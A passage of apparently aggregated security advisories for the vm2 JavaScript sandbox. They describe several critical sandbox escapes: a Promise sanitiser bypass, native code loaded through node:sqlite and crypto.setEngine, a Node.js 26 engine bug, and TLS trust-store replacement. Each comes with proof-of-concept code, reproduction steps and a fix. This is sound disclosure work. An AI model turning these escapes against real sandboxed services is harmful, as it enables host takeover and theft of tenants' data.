},\n}});\nvm.run(`\n  const p = fetchUser(1);              // proxy of the host Promise\n  p.then.call(p, undefined, (e) =\u003e {   // .call indirection skips the sanitiser\n    e.detail.mainModule.require('child_process')\n      .execSync('echo vm2-escape-proof \u003e /tmp/poc.proof');\n  });\n`);\n```\n\n### Observed output\n\n```shell\n$ cat /tmp/poc.proof\nvm2-escape-proof\n```\n\nRegistering the same callback directly, `p.then(undefined, cb)`, strips `detail` and no command runs; the `bind` and `Reflect.apply` forms are sanitised as well, isolating the bypass to `call` and `apply` indirection.\n\n## Impact\n\nAny deployment that evaluates attacker-controlled code with vm2 and exposes a host-realm Promise to the sandbox is affected: an async host function bridged through the `sandbox` option, or a NodeVM external module's async method. If that Promise rejects with an Error carrying a non-primitive own property that references a host object, a diagnostic pattern the vm2 codebase itself documents as routine for Node libraries (`lib/setup-sandbox.js:1877`), a single submission yields arbitrary command execution in the host process with the host account's privileges, including file read and write, process spawning, and network access. In a multi-tenant service evaluating untrusted code, one submission compromises the worker process and every tenant it serves.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:32:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-647f-g98j-qq25","https://nvd.nist.gov/vuln/detail/CVE-2026-92937","https://github.com/patriksimek/vm2/commit/315786904c416be68ff2517b86fb9d71fa6761db","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.6-remote-code-execution-via-promise-call-apply","https://github.com/advisories/GHSA-647f-g98j-qq25"],"source_kind":"github","identifiers":["GHSA-647f-g98j-qq25","CVE-2026-92937"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.517Z","epss_percentage":0.01033,"epss_percentile":0.62529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NDdmLWc5OGotcXEyNc4AB7Wg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NDdmLWc5OGotcXEyNc4AB7Wg","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NDdmLWc5OGotcXEyNc4AB7Wg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dzhyLXh4dzItZzNoeM4AB7Vj","url":"https://github.com/advisories/GHSA-6w8r-xxw2-g3hx","title":"vm2 allows a sandboxed plugin to execute native code through `node:sqlite`","description":"### Summary\n\nvm2 3.11.6 exposes Node.js's host `node:sqlite` module to `NodeVM` code when that builtin is allowed explicitly or through `builtin: ['*']`. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call `DatabaseSync.loadExtension()` on a native library bundled in the plugin directory.\n\nSQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox.\n\nThe exploit needs only the `node:sqlite` builtin and a compatible native library already present in the untrusted plugin package. It does not require `fs`, `process`, `module`, `child_process`, `worker_threads`, `vm`, `inspector`, vm2 nesting, or an existing database file.\n\n### Details\n\nThe vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper.\n\nOn current Node.js versions, the builtin inventory contains the literal name `node:sqlite`. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded:\n\n```js\nconst BUILTIN_MODULES = module.builtinModules.filter(/* denylist checks */);\n```\n\nThe resolver then treats every request beginning with `node:` as a core-module request, even if the complete request string is not an allowlist key:\n\n```js\nif (x.startsWith('node:') || this.builtins.has(x)) {\n  return x;\n}\n```\n\nThe sandbox runtime removes exactly one `node:` prefix and looks up the remainder in the configured builtin map:\n\n```js\nif (filename.startsWith('node:')) {\n  id = filename.slice(5);\n  return loadBuiltinModule(id);\n}\n```\n\nConsequently, the sandbox spelling below resolves to the configured map entry `node:sqlite`:\n\n```js\nrequire('node:node:sqlite')\n```\n\nThe default builtin loader imports the real module in the host realm and exposes it through `vm.readonly()`:\n\n```js\nbuiltins.set(key, vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nRead-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to `DatabaseSync` and `loadExtension()` are forwarded to the host implementation.\n\nThe complete exploit flow is:\n\n```text\nattacker supplies an untrusted plugin package containing JavaScript and a native library\n  -\u003e host runs the JavaScript in NodeVM with node:sqlite allowed\n  -\u003e plugin resolves the host module as node:node:sqlite\n  -\u003e plugin creates an in-memory DatabaseSync with allowExtension enabled\n  -\u003e plugin derives the bundled library path from its own __dirname\n  -\u003e plugin calls database.loadExtension(libraryPath)\n  -\u003e vm2 forwards the call to host SQLite\n  -\u003e SQLite loads the library into the Node.js host process\n  -\u003e SQLite invokes the library's native extension entry point\n  -\u003e attacker native code executes with the host process's privileges\n```\n\nThe path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin's own directory, so an attacker can concatenate `__dirname` with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript.\n\n### PoC\n\nThe attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file.\n\nPrerequisites: macOS, Node.js with `node:sqlite`, npm, and a C compiler.\n\n1. Open the attached `poc` directory.\n2. Install the exact affected package:\n\n   ```bash\n   npm install --ignore-scripts\n   ```\n\n3. Compile and run the proof:\n\n   ```bash\n   npm run poc\n   ```\n\nThe script compiles `extension_probe.c` as `libvm2_sqlite_probe.dylib`, then runs `untrusted-plugin.js` in this restrictive configuration:\n\n```js\nnew NodeVM({\n  console: 'off',\n  require: { builtin: ['node:sqlite'] },\n});\n```\n\nThe sandboxed plugin performs only:\n\n```js\nconst { DatabaseSync } = require('node:node:sqlite');\nconst database = new DatabaseSync(':memory:', { allowExtension: true });\ndatabase.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib');\ndatabase.close();\n```\n\nA vulnerable result is:\n\n```json\n{\n  \"sandboxResult\": {\n    \"nativeExtensionLoaded\": true,\n    \"usedOnlySQLiteBuiltin\": true\n  },\n  \"markerExists\": true,\n  \"markerText\": \"VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED\"\n}\n```\n\nThe marker is written from the compiled native extension entry point, not from JavaScript. `loadExtension()` also returns successfully, proving that SQLite both loaded the library and invoked its entry point.\n\n### Impact\n\nThis is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions.\n\nAn attacker can replace the marker-only extension with native code that:\n\n- reads application secrets, credentials, environment variables, and files available to the host account;\n- modifies application data or executable files and establishes persistence;\n- accesses internal services using the host's network identity;\n- steals other tenants' data from the same process;\n- terminates or corrupts the host process; and\n- performs any other operating-system action permitted to the host account.\n\nThe realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package's JavaScript in `NodeVM` while allowing `node:sqlite` or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:29:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6w8r-xxw2-g3hx","https://nvd.nist.gov/vuln/detail/CVE-2026-92938","https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-remote-code-execution-via-node-sqlite","https://github.com/advisories/GHSA-6w8r-xxw2-g3hx"],"source_kind":"github","identifiers":["GHSA-6w8r-xxw2-g3hx","CVE-2026-92938"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.518Z","epss_percentage":0.00616,"epss_percentile":0.47557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzhyLXh4dzItZzNoeM4AB7Vj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dzhyLXh4dzItZzNoeM4AB7Vj","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzhyLXh4dzItZzNoeM4AB7Vj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NnByLWM1d2MteGZmeM4AB7Vi","url":"https://github.com/advisories/GHSA-46pr-c5wc-xffx","title":"vm2 crypto builtin loads attacker native code through setEngine","description":"Summary\n\nvm2 3.11.6 exposes the host `crypto` module to a `NodeVM` when that single builtin is allowed. The module is presented through a read-only bridge, but its functions still execute with host-process authority. `crypto.setEngine()` accepts a filesystem path and asks OpenSSL to dynamically load the referenced native library.\n\nAn attacker whose untrusted plugin package contains a native library can therefore load that library into the host process by calling `crypto.setEngine()` from sandboxed JavaScript. The native library's constructor executes before OpenSSL finishes validating whether the file is a usable engine. Consequently, even the expected `ERR_CRYPTO_ENGINE_UNKNOWN` exception occurs only after arbitrary native code has already run.\n\nThe exploit requires only the `crypto` builtin. It does not require `fs`, `process`, `module`, `child_process`, `worker_threads`, `vm`, `inspector`, unrestricted builtins, or vm2 nesting.\n\n### Details\n\nThe vulnerable boundary is the generic builtin loader. Builtins that are not specially wrapped or classified as dangerous are imported in the host realm and exposed through a recursive read-only proxy:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nRead-only prevents sandbox code from assigning properties on the module object. It does not reduce the authority of callable exports. Calls are forwarded to the original host function with bridge values converted back to host values.\n\nThe `crypto` module includes this callable export:\n\n```js\ncrypto.setEngine(enginePath)\n```\n\nWhen `enginePath` names a dynamic library, OpenSSL loads that file into the current process. Operating-system dynamic loaders execute library constructors as part of loading. Engine-symbol validation happens afterward. A file does not have to become a functional cryptographic engine for its constructor to execute.\n\nThe resulting exploit flow is:\n\n```text\nattacker supplies an untrusted plugin package containing a native library\n  -\u003e host executes the plugin in NodeVM with only crypto allowed\n  -\u003e plugin calls crypto.setEngine(pathToBundledLibrary)\n  -\u003e vm2 forwards the call to the host crypto module\n  -\u003e OpenSSL asks the operating-system loader to load the library\n  -\u003e the library constructor executes native code in the host process\n  -\u003e OpenSSL may then reject the file, but host compromise has already occurred\n```\n\nThis is different from merely granting JavaScript filesystem access. A plugin system commonly has to place an untrusted package on disk before running its JavaScript. The native file can therefore already exist inside that package even when the sandbox denies `fs` and all process-execution builtins. Allowing `crypto` for hashing or signature verification unexpectedly turns that inert package file into a native-code execution primitive.\n\n### PoC\n\nThe attached PoC is local and harmless. Its native library constructor creates a marker file; it does not spawn a process, open a network connection, or modify any other file.\n\n1. Install Node.js with OpenSSL engine support, a C compiler, and npm.\n2. In the attached `poc` directory, install the exact affected package:\n\n   ```bash\n   npm install --ignore-scripts\n   ```\n\n3. Build the marker library.\n\n   On macOS:\n\n   ```bash\n   cc -dynamiclib -O2 -o probe-engine.dylib engine_probe.c\n   node poc.js ./probe-engine.dylib\n   ```\n\n   On Linux:\n\n   ```bash\n   cc -shared -fPIC -O2 -o probe-engine.so engine_probe.c\n   node poc.js ./probe-engine.so\n   ```\n\n4. A vulnerable result contains all of the following:\n\n   - the sandbox configuration lists only `crypto` as an allowed builtin;\n   - `crypto.setEngine()` reports `ERR_CRYPTO_ENGINE_UNKNOWN` or returns;\n   - `vm2-setengine-native-marker.txt` exists afterward;\n   - the marker contains `VM2_SETENGINE_NATIVE_CODE_EXECUTED`.\n\nThe exception is not a negative result. The marker proves that the native constructor ran before engine validation failed.\n\n### Impact\n\nThis is a sandbox escape to arbitrary native code execution. The code runs with the operating-system identity and privileges of the Node.js host process, outside all vm2 language and module restrictions.\n\nAn attacker can replace the marker-only constructor with native code that:\n\n- reads application secrets, environment variables, credentials, and files available to the host user;\n- modifies application data or executable files and establishes persistence;\n- accesses internal services using the host's network identity;\n- steals other tenants' data from the same process;\n- terminates or corrupts the host process; and\n- executes arbitrary operating-system actions permitted to the host account.\n\nThe realistic affected workflow is a plugin, automation, notebook, or multi-tenant code runner that stores attacker-supplied package contents on disk and runs the package's JavaScript in `NodeVM` while allowing `crypto`. The attacker does not need the sandbox to expose a file-write or command-execution module.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:28:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-46pr-c5wc-xffx","https://nvd.nist.gov/vuln/detail/CVE-2026-92939","https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-native-code-execution-via-crypto-setengine","https://github.com/advisories/GHSA-46pr-c5wc-xffx"],"source_kind":"github","identifiers":["GHSA-46pr-c5wc-xffx","CVE-2026-92939"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.519Z","epss_percentage":0.00616,"epss_percentile":0.47557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NnByLWM1d2MteGZmeM4AB7Vi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NnByLWM1d2MteGZmeM4AB7Vi","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NnByLWM1d2MteGZmeM4AB7Vi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yN2c5LXA0M3YtY3czds4AB7Vh","url":"https://github.com/advisories/GHSA-27g9-p43v-cw3v","title":"vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector","description":"## Reporter\n\n- Name or handle: `[YMsora]`\n- Report date: 2026-08-14\n\n## Summary\n\nThe latest published vm2 release, **3.11.5**, and the current `main` branch are vulnerable to a sandbox escape when used on Node.js 26. An ordinary fulfilled Promise created by an async function can retain an attacker-controlled `constructor[Symbol.species]` across `Promise.prototype.finally()`.\n\nvm2 installs wrappers on the intrinsic `Promise.prototype.then` and `catch` methods. On Node.js 26 / V8 14.6, V8's `SetPrototypeProperties` path updates these existing data properties without invalidating the `PromiseThenLookupChain` protector. `Promise.prototype.finally()` subsequently trusts the stale protector and uses an internal `InvokeThen` fast path that calls the original native `then`, bypassing vm2's wrapper and its `resetPromiseSpecies(this)` hardening.\n\nThe attacker-controlled species constructor therefore supplies the resolve and reject functions used by a native Promise reaction. A calibrated stack overflow at that native reaction boundary yields a raw host-realm `RangeError` to the attacker-controlled reject function. Its constructor chain reaches the host `Function` constructor and consequently the host `process` object.\n\nThe attached proof is non-destructive: it reads only `process.version`. It does not execute commands, access files, or perform network requests.\n\n## Latest-version status\n\nVerified on 2026-08-14:\n\n- npm `latest`: `vm2@3.11.5`\n- `vm2@3.11.5` publication time: 2026-05-18T15:37:26.138Z\n- npm `gitHead`: `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n- npm tarball: `https://registry.npmjs.org/vm2/-/vm2-3.11.5.tgz`\n- npm integrity: `sha512-RSrkBiwrj6FRU+QdqNs6KG0XdlvJCjpQ4GXiqmMbrhmwfu5k/XIMpAer0L8f6iuf0uJ3a4T1xJN126Q8yf0VIA==`\n- GitHub default branch `main` HEAD: the same commit, also tagged `v3.11.5`\n- latest formal Node.js release: `v26.7.0`, V8 `14.6.202.34`\n\nThe npm tarball and current GitHub `main` contain the same relevant `lib/setup-sandbox.js` Git blob. There is no unpublished fix on `main` at the time of this report.\n\nPermanent source reference:\n\n\u003chttps://github.com/patriksimek/vm2/blob/7a1f5100b96f48d34e0fe104ab37c0acc5944f92/lib/setup-sandbox.js#L345-L390\u003e\n\n## Affected configurations\n\n### vm2 versions tested on Node.js 26.7.0\n\n| vm2 version | Result |\n| --- | --- |\n| 3.10.2 through 3.10.5 | host realm reached, 3/3 per release |\n| 3.11.0 | host realm reached, 3/3 |\n| 3.11.1 | host realm reached, 3/3 |\n| 3.11.2 | host realm reached, 5/5 |\n| 3.11.3 | host realm reached, 3/3 |\n| 3.11.4 | host realm reached, 5/5 |\n| 3.11.5 | host realm reached, 5/5 |\n| current `main` (`7a1f5100`) | host realm reached, 5/5 |\n\nThis report therefore confirms **vm2 3.10.2 through 3.11.5** as affected when used with the vulnerable runtime. Earlier vm2 versions are not claimed: they may be independently vulnerable through older published issues, which would not establish this root cause.\n\n### Node.js versions tested with stock vm2 3.11.5\n\n| Node.js | V8 | Result |\n| --- | --- | --- |\n| 22.23.2 | 12.4.254.21 | safe, 5/5 |\n| 24.19.0 | 13.6.233.17 | safe, 5/5 |\n| 25.9.0 | 14.1.146.11 | safe, 5/5 |\n| 26.0.0 | 14.6.202.33 | host realm reached, 5/5 |\n| every formal release from 26.1.0 through 26.7.0 | 14.6.202.34 | host realm reached, 5/5 per release |\n| v27.0.0-nightly202608131b2de5e052 | 14.6.202.34 | host realm reached |\n| v27.0.0-v8-canary20260812f3fe529a1e | 15.3.55 | safe |\n\nThe vulnerable behavior was reproduced on Linux/musl, Linux/glibc, and Windows x64. It is not Alpine-specific.\n\n## Configuration requirements\n\nThe default configuration is affected:\n\n```js\nconst vm = new VM();\n```\n\nDefault `new VM()` was verified 3/3 on Node.js 26.7.0 and vm2 3.11.5 with the operating system's default Node stack size.\n\nThe escape also remains reproducible with stronger settings:\n\n```js\nconst vm = new VM({\n  allowAsync: true,\n  eval: false,\n  wasm: false,\n  timeout: 5000\n});\n```\n\nTherefore the exploit does **not** require:\n\n- WebAssembly or JSPI;\n- dynamic evaluation being enabled;\n- Buffer;\n- an exposed host object;\n- a custom Promise supplied by the embedder;\n- a specific operating system; or\n- any challenge-specific code.\n\nThe demonstrated producer uses an async function, so async support must be available. This is vm2's default.\n\nThe V8 `PromiseThenLookupChain` protector must still be intact when vm2 installs its wrappers. A fresh/default Node.js process satisfies this condition. An unrelated earlier mutation that correctly invalidates the protector can make this exact path safe, but that is not a documented vm2 mitigation and is not present in the default setup.\n\n## Reproduction\n\nThe attachment `poc.js` uses only the published npm package and prints a benign host-version marker.\n\n```sh\nmkdir vm2-node26-repro\ncd vm2-node26-repro\nnpm init -y\nnpm install --ignore-scripts --no-audit --no-fund vm2@3.11.5\ncp /path/to/poc.js .\nnode poc.js\n```\n\nAlternatively, with the official Node.js 26.7.0 container:\n\n```sh\ndocker run --rm -v \"$PWD:/poc:ro\" -w /tmp node:26.7.0-bookworm-slim sh -lc '\n  npm init -y \u003e/dev/null 2\u003e\u00261 \u0026\u0026\n  npm install --ignore-scripts --no-audit --no-fund vm2@3.11.5 \u003e/dev/null 2\u003e\u00261 \u0026\u0026\n  cp /poc/poc.js . \u0026\u0026\n  node poc.js\n'\n```\n\nRepresentative output:\n\n```json\n{\n  \"node\": \"v26.7.0\",\n  \"v8\": \"14.6.202.34-node.28\",\n  \"vm2\": \"3.11.5\",\n  \"config\": \"default\",\n  \"result\": \"HOST\",\n  \"hostVersion\": \"v26.7.0\",\n  \"speciesCalls\": 1,\n  \"localError\": false,\n  \"localRangeError\": false\n}\n```\n\nThe calibrated depth varies with the platform and process layout; this is expected. The PoC searches the boundary instead of relying on a fixed depth.\n\nTo verify that disabling eval and WebAssembly is not sufficient:\n\n```sh\nSTRICT=1 node poc.js\n```\n\n## Technical root cause\n\n1. vm2 replaces the intrinsic `Promise.prototype.then` and `catch` methods with wrappers that sanitize callbacks and execute `resetPromiseSpecies(this)`.\n2. These two prototype writes are consecutive direct assignments in `lib/setup-sandbox.js`.\n3. V8 14.6 enables the `proto_assign_seq_opt` optimization, combining this assignment sequence into `SetPrototypeProperties`.\n4. In the Node.js 26 implementation, the existing-data-property branch calls `Object::SetDataProperty(\u0026it, value)` without first calling `it.UpdateProtector()`.\n5. The JavaScript property now contains vm2's wrapper, but the V8 `PromiseThenLookupChain` protector incorrectly remains valid.\n6. `Promise.prototype.finally()` performs an internal `InvokeThen`. Because the protector appears valid, V8 directly selects the native Promise `then` instead of performing the observable property lookup that would reach vm2's wrapper.\n7. The wrapper never executes, so the attacker's own `constructor[Symbol.species]` is not reset before the native `then` creates its result capability.\n8. A native Promise reaction calls the attacker-provided capability resolve function. At a calibrated stack boundary, V8 creates a host-realm `RangeError` and passes it to the attacker-provided capability reject function without vm2 conversion.\n9. `error.constructor.constructor` is consequently the host `Function`, even when the VM was configured with `eval:false`.\n\nThe root-cause control is strong:\n\n```sh\nnode --no-proto-assign-seq-opt poc.js\n```\n\nOn Node.js 26.7.0 this changes the result from `HOST` to `SAFE` (3/3). A separate semantic probe also changes from `wrapperCalls=0` to `wrapperCalls=1`.\n\n## Relationship to previous advisories\n\nThis report intentionally discloses the overlap with prior work:\n\n### CVE-2026-22709 / GHSA-99p7-6v5w-7xg8\n\nThat issue concerned bypassing callback sanitization on intrinsic Promises returned by async functions. vm2's fix added/strengthened the `globalPromise.prototype.then` and `catch` wrappers. The current issue is different: on V8 14.6, `finally()` trusts a stale protector and bypasses those installed wrappers at the engine fast path.\n\n### CVE-2026-47208 / GHSA-76w7-j9cq-rx2j\n\nThat issue used a missing `resetPromiseSpecies` call in `localPromise`'s rejection-swallowing tail. It is marked fixed in 3.11.4. The current entry point is the intrinsic async Promise plus `finally()`/`InvokeThen`; the PoC succeeds against 3.11.4 and 3.11.5.\n\n### CVE-2026-47210 / GHSA-6j2x-vhqr-qr7q\n\nThat issue required a JSPI-backed Promise and WebAssembly APIs. Its 3.11.4 fix removes the relevant JSPI surface. The current PoC uses an ordinary fulfilled async-function Promise, works with `wasm:false`, and succeeds against 3.11.5.\n\n### Public V8 fix\n\nThe underlying V8 protector bookkeeping bug is already public and fixed upstream:\n\n- data-property branch: \u003chttps://github.com/v8/v8/commit/7b26e81087ec88c287d9a4812f969d412f32774e\u003e\n- follow-up lazy-accessor branch: \u003chttps://github.com/v8/v8/commit/4635ddd85839461c8ad791990023a477efefe7bd\u003e\n\nThis report does not claim discovery of a new V8 bug. It reports a previously undocumented, still-unpatched vm2 sandbox escape created by the interaction between that V8 bug and vm2's Promise hardening. The escape affects vm2's latest release and current main branch.\n\n## Impact\n\nAn attacker who can execute untrusted JavaScript inside a vm2 `VM` can cross the sandbox boundary and obtain the host `Function` constructor and `process` object. This permits arbitrary code execution with the privileges of the host Node.js process, including access to its filesystem, credentials, environment, network, and child-process facilities.\n\nThis is the exact security boundary vm2 is intended to enforce; no additional application mistake is required beyond executing attacker-controlled code in the sandbox.\n\n## Suggested remediation\n\n1. Install the intrinsic `then` and `catch` wrappers through an operation that reliably invalidates V8's Promise lookup-chain protector, such as an appropriate `Reflect.defineProperty`/`Object.defineProperty` path, instead of the optimizable consecutive direct-assignment sequence.\n2. Wrap the intrinsic `Promise.prototype.finally` entry point and execute `resetPromiseSpecies(this)` before delegating to the cached native `finally` implementation.\n3. Add a build/runtime regression test using an intrinsic Promise from `(async () =\u003e 1)()`: an attacker-controlled own species must not be constructed by `p.finally()`.\n4. Until a vm2 release is available, document Node.js 26 as affected or fail closed on the vulnerable runtime range.\n5. Coordinate with Node.js to backport the existing V8 protector fixes to the Node.js 26 release line.\n\nVerified controls show that wrapping `finally` before calling the cached native implementation blocks the tested direct variants, while the upstream V8 fix also restores correct wrapper invocation.\n\nCredit is requested as: `YMsora`.  `https://github.com/YMs0ra`\n\n## Attachments\n[vm2-node26-finally-private-report.zip](https://github.com/user-attachments/files/31059187/vm2-node26-finally-private-report.zip)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:28:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-27g9-p43v-cw3v","https://nvd.nist.gov/vuln/detail/CVE-2026-92944","https://github.com/patriksimek/vm2/commit/c7df2e21d2c74038a1f1750f40f9fe603ec69c6a","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.10.2-through-3.11.6-sandbox-escape-via-promise-protector","https://github.com/advisories/GHSA-27g9-p43v-cw3v"],"source_kind":"github","identifiers":["GHSA-27g9-p43v-cw3v","CVE-2026-92944"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.494Z","updated_at":"2026-10-12T08:00:42.520Z","epss_percentage":0.00841,"epss_percentile":0.56509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2c5LXA0M3YtY3czds4AB7Vh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yN2c5LXA0M3YtY3czds4AB7Vh","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.10.2, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2c5LXA0M3YtY3czds4AB7Vh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OHh4LThteDQteDdjbc4AB7Vg","url":"https://github.com/advisories/GHSA-98xx-8mx4-x7cm","title":"vm2 NodeVM can replace the host process TLS trust store","description":"Summary\n\nvm2 3.11.6 exposes the host `tls` module to a `NodeVM` when that builtin is explicitly allowed. Although the module object is wrapped as read-only, its functions still execute against process-wide host state. On Node.js versions that provide `tls.setDefaultCACertificates()`, sandbox code can replace the certificate authorities trusted by subsequent host-realm TLS clients.\n\nThe exploit needs only the narrowly allowed `tls` and `url` builtins. It does not require `fs`, `process`, `module`, `child_process`, an external package, or a general `'*'` builtin grant. A host HTTPS request rejected an attacker certificate before sandbox execution, then accepted the same certificate and returned an application marker after the sandbox replaced the default CA list.\n\nThis crosses the intended sandbox boundary. An attacker can make host HTTPS clients trust an attacker-controlled CA, enabling credential theft and response tampering when the attacker can influence a subsequent destination or network path. Replacing the list also removes the normal trust roots, disrupting unrelated host TLS traffic.\n\n### Details\n\nThe vulnerable boundary is the default builtin loader in `lib/builtin.js`. Builtins that are not classified as dangerous are exposed through a recursive read-only bridge:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe read-only wrapper prevents ordinary property assignment through the sandbox proxy. It does not make calls such as `tls.setDefaultCACertificates()` sandbox-local. That function changes the default CA list for the current Node.js thread and affects subsequent TLS connections that do not provide their own `ca` option.\n\nThe dangerous-builtin list now rejects `dns` because `dns.setServers()` mutates process-wide host networking state. It does not reject `tls`, even though current Node.js exposes an equivalent process-wide trust mutation through it.\n\nA direct call with a normal sandbox array is not necessary. The native TLS function requires an actual host-realm array. The allowed host `url` module provides one:\n\n```js\nconst tls = require('tls');\nconst {URLSearchParams} = require('url');\n\nconst hostArray = new URLSearchParams(\n  'ca=' + encodeURIComponent(attackerCaPem)\n).getAll('ca');\n\ntls.setDefaultCACertificates(hostArray);\n```\n\n`URLSearchParams.getAll()` executes in the host realm and returns a host array containing the attacker-controlled PEM string. vm2 maps that array into the sandbox. When the mapped value is passed back to the TLS function, the bridge unwraps it to the original host array, satisfying the native type check. The TLS function then replaces the host thread's default CA set.\n\nThe complete exploit flow is:\n\n```text\nattacker-controlled NodeVM program\n  -\u003e require only the allowed tls and url builtins\n  -\u003e URLSearchParams.getAll() creates a host array containing attacker CA PEM\n  -\u003e bridge unwraps the mapped array when passed back to tls\n  -\u003e tls.setDefaultCACertificates() replaces host default trust roots\n  -\u003e subsequent host-realm HTTPS client accepts attacker-signed certificates\n  -\u003e attacker can observe or modify application TLS traffic\n```\n\nThe API is present in Node.js 22.19.0 and later in the 22.x line, and Node.js 24.5.0 and later in the 24.x line.\n\n### PoC\n\nThe attached PoC is fully local. It creates a temporary CA and a loopback HTTPS server signed by that CA, then performs two requests from the host realm.\n\n1. Install Node.js 22.19.0 or later in the 22.x line, or Node.js 24.5.0 or later in the 24.x line. OpenSSL must also be available.\n2. In the attached `poc` directory, run:\n\n   ```bash\n   npm install --ignore-scripts\n   node poc.js\n   ```\n\n3. A vulnerable result has all of these properties:\n\n   - the first host request fails with a certificate verification error;\n   - the sandbox reports that it supplied one host-realm CA entry;\n   - the second host request succeeds with HTTP 200;\n   - the second response body is `VM2_POC_HOST_TLS_RESPONSE_3e71c8`.\n\nThe server listens only on loopback and the PoC makes no external request.\n\n### Impact\n\nThis is an improper sandbox authorization boundary around a process-wide TLS security setting.\n\nAn attacker who can submit code to a `NodeVM` configured with the `tls` and `url` builtins can:\n\n- replace the CAs used by subsequent host-side HTTPS and TLS clients;\n- make the host authenticate services presenting certificates signed by the attacker;\n- intercept host credentials, API tokens, session data, request bodies, and responses when the attacker can influence DNS, 